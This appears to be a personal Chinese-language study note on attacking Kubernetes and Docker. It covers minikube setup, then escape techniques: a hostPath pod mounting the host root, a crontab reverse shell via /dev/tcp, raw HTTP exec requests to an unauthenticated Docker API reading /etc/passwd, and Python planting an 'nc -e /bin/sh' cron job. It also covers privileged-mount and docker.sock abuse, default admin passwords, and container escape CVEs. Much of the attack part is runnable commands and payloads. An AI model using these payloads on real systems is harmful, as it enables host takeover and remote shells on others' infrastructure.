k8s学习与攻击

容器扫描器

https://www.dosec.cn/article/id/50.html

环境搭建

在线学习平台

1
https://magicsandbox.com

本地最小平台

1
2
https://minikube.sigs.k8s.io/docs/start/
https://kubernetes.io/zh/docs/tutorials/hello-minikube/

创建集群

minikube

1、环境搭建

1
brew install minikube

2、启动

1
2
3
minikube start
在中国
minikube start --image-mirror-country='cn' --image-repository='registry.cn-hangzhou.aliyuncs.com/google_containers'

3、访问集群

1
kubectl get po -A

4、部署应用

5、访问服务

1
2
minikube service hello-minikube
kubectl port-forward service/hello-minikube 7080:8080





6、管理集群

7、启动 kubernets 管理面板


攻击kubernets

先看官方文档说明

1
https://kubernetes.io/zh/docs/concepts/security/controlling-access/

所以默认访问localhost:8080即可查看api

利用工具 kubectl 来控制容器

1
2
3
4
5
6
获取所有节点
kubectl -s http://127.0.0.1:60497/ get nodes
获取所有容器
kubectl -s http://127.0.0.1:60497/ get pods --all-namespaces=true
在容器中获得一个交互式shell
kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash

利用api 获取宿主机权限
创建新的容器 -> 挂载宿主机目录 -> 写 /etc/crontab 定时任务反弹 shell

创建新的容器

myapp.yaml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /

获取该容器的交互式shell

1
2
3
4
5
6
https://kubernetes.io/zh/docs/tasks/debug-application-cluster/get-shell-running-container/

// 本地测试提示没权限,不知道为啥,但是可以通过web界面直接进入容器
kubectl --server http://127.0.0.1:60497/ exec -it shell-demo -- /bin/bash

echo -e "* * * * * root bash -i >& /dev/tcp/127.0.0.1/8888 0>&1\n" >> /mnt/etc/crontab

容器安全

1
2
3
4
Docker 镜像的主要利用来源之一是易受攻击的包。例如,使用易受攻击的影子包的 Docker 镜像漏洞 (CVE-2019-5021) 允许任何拥有 shell 访问权限的用户或黑客提升他们在容器内的权限。另一个易受攻击的包是 sqlite3 3.26.0,该包存在允许远程代码执行的漏洞,如果攻击者发送恶意 SQL 命令,则会受到攻击。

ps:
使用其他各种商用工具和开源工具来确保容器镜像安全,比如 Twistlock、CoreOS Clair、Dagda 和 Anchore
CVE-2019-5021

自 Alpine Linux 3.3 版本开始的所有 Docker 镜像中,root 用户包含一个空密码,这可能会导致攻击者获得 root 权限,进而造成攻击。

CVE-2019-14271

CVE-2019-14271是Docker cp命令实现中存在的一个安全问题,攻击者可以利用该漏洞实现完整的容器逃逸.

利用

1
2
需要控制容器,篡改libnss_*.so库
当宿主机执行 docker cp 命令时,触发漏洞

CVE-2020-15257
1
攻击者可以借助这个漏洞突破容器命名空间隔离,实现容器逃逸。影响containerd 1.3.x, 1.2.x, 1.4.x版本,需要启动容器时使用 host 模式 --network=host

知识点:
一、
在使用docker run命令创建并运行容器时,可以使用–network选项指定容器的网络模式。Docker有以下4种网络模式:
1) none:这种模式下容器内部只有loopback回环网络,没有其他网卡,不能访问外网,完全封闭的网络;

2) container:指定一个已经存在的容器名字,新的容器会和这个已经存在的容器共享一个网络命名空间,IP、端口范围一起在这两个容器中也可共享;

3) bridge:这是docker默认的网络模式,会为每一个容器分配网络命名空间,设置IP,保证容器内的进程使用独立的网络环境,使得容器和容器之间、容器和主机之间实现网络隔离;

4) host:这种模式下,容器和主机已经没有网络隔离了,它们共享同一个网络命名空间,容器的网络配置和主机完全一样,使用主机的IP地址和端口,可以查看到主机所有网卡信息、网络资源,在网络性能上没有损耗。但也正是因为没有网络隔离,容器和主机容易产生网络资源冲突、争抢,以及其他的一些问题。

二、
通过访问/proc/net/unix文件,可以获取到当前网络命名空间下所有的Unix域套接字信息。

在默认情况下,docker run启动的容器的网络模式是bridge,容器和主机之间实现了网络隔离,所以在容器内部读取/proc/net/unix文件,看不到任何信息,如下所示:


但是在host模式下,由于容器和主机共享同一个网络命名空间,容器能访问到主机中的所有网络资源,所以在容器内部读取/proc/net/unix文件,显示的就是真实主机中的信息,如下所示:

1) /var/run/docker.sock:Docker Daemon监听的Unix域套接字,用于Docker client之间通信
2) /run/containerd/containerd.sock:containerd监听的Unix域套接字,Docker Daemon、ctr可以通过它和containerd通信
3) @/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock:这个就是上文所述的,containerd-shim监听的Unix域套接字,containerd通过它和containerd-shim通信,控制管理容器。

/var/run/docker.sock、/run/containerd/containerd.sock这两者是普通的文件路径,虽然容器共享了主机的网络命名空间,但没有共享mnt命名空间,容器和主机之间的磁盘挂载点和文件系统仍然存在隔离,所以在容器内部仍然不能通过/var/run/docker.sock、/run/containerd/containerd.sock这样的路径连接对应的Unix域套接字。

但是@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock这一类的抽象Unix域套接字不一样,它没有依靠mnt命名空间做隔离,而是依靠网络命名空间做隔离,也就是说,host模式下,容器共享了主机的网络命名空间,也就能够去连接@/containerd-shim/3d6a9ed878c586fd715d9b83158ce32b6109af11991bfad4cf55fcbdaf6fee76.sock这一类的抽象Unix域套接字。

而且在默认情况下,容器内部的进程都是以root用户启动的,所以也能通过UnixSocketRequireSameUser的校验。

在这两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。

docker remote api 未授权访问
1
为了实现集群管理,Docker Daemon作为守护进程,运行在后台,可以执行发送到管理接口上的Docker命令。启动Docker Daemon时,加入-H 0.0.0.0:2375,Docker Daemon就可以接收远端的Docker Client发送的指令。而此时docker rest api(默认端口2375)认证的缺陷,把2375端口作为非加密端口暴露出来,没有任何加密和认证过程,只要知道Docker主机的IP,任何人都可以匹配到这个端口,进而触发安全漏洞。若Docker存在未授权访问漏洞,访问http://host:2375/containers/json时,会返回服务器当前运行的container列表,和在docker CLI上执行docker ps的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成

命令

1
2
3
docker -H ip:2375 ps -a

http://IP:2375/containers/json

获取所有的容器列表

1
curl -i -s -X GET http://<docker_host>:PORT/containers/json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /containers/5b14c019184f654df480d699e4708ac5e4ce8363d45ab5861f064c0d16a9c69f/exec HTTP/1.1
Host: 127.0.0.1:2375
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 184

{
"AttachStdin": true,
"AttachStdout": true,
"AttachStderr": true,
"Cmd": ["cat", "/etc/passwd"],
"DetachKeys": "ctrl-p,ctrl-q",
"Privileged": true,
"Tty": true
}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /exec/bcd0bff3000999c540bf144e347b468e7a45ceb9d3054bc14587819bfb8a4c04/start HTTP/1.1
Host: 127.0.0.1:2375
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 38

{
"Detach": false,
"Tty": false
}

Docker python api

利用python 搞计划任务

1
2
3
4
import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

–privileged 利用

启动Docker容器。使用此参数时,容器可以完全访问所有设备,并且不受seccomp,AppArmor和Linux capabilities的限制。

1
2
3
4
查看磁盘文件: fdisk -l
新建目录以备挂载: mkdir /aa
将宿主机/dev/sda1目录挂载至容器内 /aa: mount /dev/sda1 /aa
即可写文件获取权限或数据

docker.sock暴露到容器内部
1
2
3
4
在容器中:
find / -name docker.sock
连接
curl --unix-socket /var/run/docker.sock http://127.0.0.1/containers/json



就可以利用api进行控制宿主机

Shipyard和Portainer
1
2
3
Shipyard 是一个基于 Web 的 Docker 管理工具,支持多 host,可以把多个 Docker host 上的 containers统一管理;可以查看 images,甚至 build images;并提供 RESTful API 等等。Shipyard 要管理和控制Docker host 的话需要先修改 Docker host 上的默认配置使其支持远程管理。

Portainer是Docker的图形化管理工具,提供状态显示面板、应用模板快速部署、容器镜像网络数据卷的基本操作(包括上传下载镜像,创建容器等操作)、事件日志显示、容器控制台操作、Swarm集群和服务等集中管理和操作、登录用户管理和控制等功能。功能十分全面,基本能满足中小型单位对容器管理的全部需求。
1
2
3
4
5
Shipyard
http://ip:8080,默认用户名:admin,密码:shipyard

Portainer
http://ip:9000 默认用户名 admin

容器信息收集

可用命令收集
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
"curl",
"wget",
"nc",
"netcat",
"kubectl",
"docker",
"find",
"ps",
"java",
"python",
"python3",
"php",
"node",
"npm",
"apt",
"yum",
"dpkg",
"nginx",
"httpd",
"apache",
"apache2",
"ssh",
"mysql",
"mysql-client",
"git",
"svn",
"vi",
"capsh",
"mount",
"fdisk",
容器目录挂载情况
1
检查挂载到当前容器内的目录和文件,一些挂载到容器内部的敏感目录如/etc,/root等可以提供逃逸机会,如将恶意代码写入/etc/crontab或/root/.ssh/authorized_keys.